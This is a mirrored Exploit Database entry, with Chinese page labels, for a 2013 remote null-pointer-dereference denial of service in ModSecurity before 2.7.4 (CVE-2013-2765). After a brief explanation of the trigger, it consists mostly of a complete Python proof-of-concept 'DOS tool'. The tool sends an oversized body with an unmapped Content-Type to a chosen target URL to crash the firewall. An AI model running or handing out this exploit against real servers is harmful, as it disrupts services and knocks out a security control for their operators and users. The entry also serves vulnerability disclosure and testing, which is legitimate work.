ModSecurity – Remote Null Pointer Dereference

• Exploit Database
• 11 阅读

• 作者： Younes JAAIDI
  日期： 2013-05-31
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/25852/

• Source: http://packetstormsecurity.com/files/121815/modsecurity_cve_2013_2765_check.py.txt
  When ModSecurity receives a request body with a size bigger than the value set by the "SecRequestBodyInMemoryLimit" and with a "Content-Type" that has no request body processor mapped to it, ModSecurity will systematically crash on every call to "forceRequestBodyVariable" (in phase 1). This is the proof of concept exploit. Versions prior to 2.7.4 are affected.
  
  #!/usr/bin/env python3
  #-*- coding: utf-8 -*-
  #
  # Created on Mar 29, 2013
  #
  # @author: Younes JAAIDI <yjaaidi@shookalabs.com>
  #
  
  import argparse
  import http.client
  import logging
  import sys
  import urllib.request
  
  logger = logging.getLogger(__name__)
  logger.setLevel(logging.DEBUG)
  logger.addHandler(logging.StreamHandler(sys.stderr))
  
  class ModSecurityDOSCheck(object):
  
  _DEFAULT_REQUEST_BODY_SIZE = 200 # KB
  _DEFAULT_CONCURRENCY = 100
  _DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"
  
  def __init__(self):
  self._request_counter = 0
  self._status_message = None
  
  def main(self, args_list):
  args_object = self._parse_args(args_list)
  
  payload = "A" * args_object.request_body_size * 1024
  
  request = urllib.request.Request(args_object.target_url,
   method = "GET",
   data = payload.encode('utf-8'),
   headers = {'Content-Type': 'text/random',
  'User-Agent': self._DEFAULT_USER_AGENT})
  
  if self._send_request(request):
  logger.info("Target seems to be vulnerable!!!")
  return 0
  else:
  logger.info("Attack didn't work. Try increasing the 'REQUEST_BODY_SIZE'.")
  return 1
  
  def _parse_args(self, args_list):
  parser = argparse.ArgumentParser(description="ModSecurity DOS tool.")
  parser.add_argument('-t', '--target-url',
  dest = 'target_url',
  required = True,
  help = "Target URL")
  parser.add_argument('-s', '--request-body-size',
  dest = 'request_body_size',
  default = self._DEFAULT_REQUEST_BODY_SIZE,
  type = int,
  help = "Request body size in KB")
  
  return parser.parse_args()
  
  def _send_request(self, request):
  try:
  urllib.request.urlopen(request)
  return False
  except (http.client.BadStatusLine, urllib.error.HTTPError):
  return True
  
  if __name__ == '__main__':
  sys.exit(ModSecurityDOSCheck().main(sys.argv))